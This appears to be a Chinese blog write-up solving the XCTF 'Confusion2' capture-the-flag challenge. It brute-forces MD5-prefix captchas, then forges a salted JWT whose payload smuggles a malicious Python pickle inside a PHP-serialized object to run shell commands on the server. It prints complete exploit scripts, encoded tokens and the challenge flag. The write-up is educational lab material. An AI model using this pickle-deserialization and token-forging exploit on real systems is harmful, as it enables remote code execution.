[网络安全] [MCollider] XCTF Confusion2 靶场详解 难度:10星

题目描述

Alice终于写完了他的网站, 当Alice和我说的时候,我发现有些奇怪的地方.
PS: Alice 说当她cooking的时候喜欢加salts。
hint1. sign = alg(header + payload + SALT).
hint2. Find SALT before Alice finished it.

0X01 说明

靶场首页
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述可以发现Login,Register页面都存在一个验证码
substr(md5('验证码'),0,6) === 'a2d491'
其中含义是将验证码进行md5加密,再取前六位,如果等于a2d491那么就验证成功

0X02 MCollider爆破验证码

MCollider下载:https://github.com/MartinxMax/MCollider
MCollider使用手册:http://t.csdn.cn/C0JY5

爆破注册用户页面验证码

#python3 MCollider.py -md5 3a8cd9

在这里插入图片描述
在这里插入图片描述

爆破登录用户页面验证码

#python3 MCollider.py -md5 68c24a

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0X03 BP抓包

在这里插入图片描述

在这里插入图片描述header:
{
“typ”: “JWT”,
“alg”: “sha256”,
“kid”: “1”
}
Payload:
{
“data”: “O:4:“User”:2:{s:9:“user_data”;s:57:”(lp1\nVadmin\np2\naS’21232f297a57a5a743894a0e4a801fc3’\np3\na.“;}”
}

这里哪里存在漏洞呢?
答案是这里:
(lp1\nVadmin\np2\naS’21232f297a57a5a743894a0e4a801fc3’\np3\na.

这里千万别被迷惑了!!!
在这里插入图片描述
这里加入反斜杠因为这个python所需要处理的!也就是说再最后生成的时候必须加上\
{'DATA':"{Python所需要处理内容}"}

0x04 分析漏洞点

这个lp1到底是什么?
明显是cPickle包生成的反序列化字符串,不过我们这里可以不用cPickle构造Payload
(lp1\nVadmin\np2\naS’21232f297a57a5a743894a0e4a801fc3’\np3\na.
lp1\nVadmin\np2\na:部分表示一个列表,有元素 'admin'
S’21232f297a57a5a743894a0e4a801fc3’\n:列表中第二个元素
p3\na.:这是一个特殊标记,指示已经完成了序列化

抽象解释
{ "data": "O:4:\"User\":2:{s:9:\"user_data\";s:59:\"[列表,表中两个元素]\";}" }
重点:列表中有两个元素

0x05 构造LS命令PAYLOAD

官方WP中用到的是cPickle包,我们也可以使用pickle包
cPickle是Python标准库中pickle模块的C语言实现版本,它比pickle快得多。在Python 3.x中,cPickle已经被移除了,取而代之的是对pickle模块进行深度优化的重构,因此在Python 3.x中不需要直接使用cPickle。但在Python 2.x中,如果你对性能有要求,那么可以考虑使用cPickle来代替pickle

接下来我们将构造这里的Payload
在这里插入图片描述

import pickle
import commands
import json

class hack(object):
    def __reduce__(self):
        return (commands.getoutput, ('ls', ))

payload = pickle.dumps([hack(),hack()])
data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (len(payload), payload))[1:-1]

print '{"data":"%s"}' %( data )
# 注意结果需要BASE64编码!
# 结果 {"data":"O:4:\"User\":2:{s:9:\"user_data\";s:59:\"(lp0\nccommands\ngetoutput\np1\n(S'ls'\np2\ntp3\nRp4\nag1\ng3\nRp5\na.\";}"}
# BASE64:eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTk6XCIobHAwXG5jY29tbWFuZHNcbmdldG91dHB1dFxucDFcbihTJ2xzJ1xucDJcbnRwM1xuUnA0XG5hZzFcbmczXG5ScDVcbmEuXCI7fSJ9

0001 LS命令PAYLOAD编码后

eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTk6XCIobHAwXG5jY29tbWFuZHNcbmdldG91dHB1dFxucDFcbihTJ2xzJ1xucDJcbnRwM1xuUnA0XG5hZzFcbmczXG5ScDVcbmEuXCI7fSJ9

0x05 签名是什么?

Confusion2是Confusion1的续版,所以这个盐你必须在Confusion1中找
盐:_Y0uW1llN3verKn0w1t_
在这里插入图片描述根据提示(这里头和Payload应该是base64形式存在的):
签名=头+"."+Payload+盐

import hashlib

def Get_sign(header,payload,salt):
    return hashlib.sha256(header+'.'+payload+salt).hexdigest()

print Get_sign('eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0',
               'eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTk6XCIobHAwXG5jY29tbWFuZHNcbmdldG91dHB1dFxucDFcbihTJ2xzJ1xucDJcbnRwM1xuUnA0XG5hZzFcbmczXG5ScDVcbmEuXCI7fSJ9',
               '_Y0uW1llN3verKn0w1t_')
# 把0001中LS命令PAYLOAD编码后的值拖到第二个参数里
# 签名结果:08a2ca6809f0c91db71a0bb56444274680b52a64ea9917f2592c9e4d39997a40
#BASE64:MDhhMmNhNjgwOWYwYzkxZGI3MWEwYmI1NjQ0NDI3NDY4MGI1MmE2NGVhOTkxN2YyNTkyYzllNGQzOTk5N2E0MA

在这里插入图片描述

0002 加盐签名构造编码后

MDhhMmNhNjgwOWYwYzkxZGI3MWEwYmI1NjQ0NDI3NDY4MGI1MmE2NGVhOTkxN2YyNTkyYzllNGQzOTk5N2E0MA

0x06 拼接PAYLOAD并且验证是否有效

拼接0001和0002的结果
eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTk6XCIobHAwXG5jY29tbWFuZHNcbmdldG91dHB1dFxucDFcbihTJ2xzJ1xucDJcbnRwM1xuUnA0XG5hZzFcbmczXG5ScDVcbmEuXCI7fSJ9.MDhhMmNhNjgwOWYwYzkxZGI3MWEwYmI1NjQ0NDI3NDY4MGI1MmE2NGVhOTkxN2YyNTkyYzllNGQzOTk5N2E0MA

在这里插入图片描述BP替换Token成功执行代码
在这里插入图片描述

0x07 获取Flag

根据提示Flag在opt目录下,整理代码

# @ Martin
import pickle
import commands
import json
import hashlib
import base64

CMD = 'ls /opt'

def Get_sign(header,payload,salt):
    return hashlib.sha256(header+'.'+payload+salt).hexdigest()

def base64_url_encode(text):
    return base64.b64encode(text).replace('+', '-').replace('/', '_').replace('=', '')

class hack(object):
    def __reduce__(self):
        return (commands.getoutput, (CMD, ))

salt='_Y0uW1llN3verKn0w1t_'
header = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0' # base64
payload = pickle.dumps([hack(),hack()])
payload_data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (len(payload), payload))[1:-1]
payload = base64_url_encode('{"data":"%s"}' %( payload_data )) # base64
signature = base64_url_encode(Get_sign(header,payload,salt)) # base64
print header+'.'+payload+'.'+signature

在这里插入图片描述

在这里插入图片描述
将参数修改:CMD = 'tac /opt/flag_73ee7fd6c242606c7a5a3950b196d92a.txt'

在这里插入图片描述eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6MTEyOlwiKGxwMFxuY2NvbW1hbmRzXG5nZXRvdXRwdXRcbnAxXG4oUyd0YWMgL29wdC9mbGFnXzczZWU3ZmQ2YzI0MjYwNmM3YTVhMzk1MGIxOTZkOTJhLnR4dCdcbnAyXG50cDNcblJwNFxuYWcxXG4oZzJcbnRwNVxuUnA2XG5hLlwiO30ifQ.OGM1YThjYmIzNGViOGY1OTQ3NTNhMjg3YTc0ZmU2MzBhNzQ1N2ViYjRmMzhhYWJkZjM2MzAwNzA0YjE4NDU0MA

在这里插入图片描述
cyberpeace{af531b04b1278f7f2b7391b3f6c63ec1}

0x08 整个过程到底发生了什么?

看了我画的这个流程图你就明白了
在这里插入图片描述

0x08 总结

题目本身存在难度的,该题考了JWT和Python反序列化,其中分支就包含了python的经典类和新式类的知识点,官方给的WP资源少并且又过于难以理解,所以另一种方式刨析了一遍

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值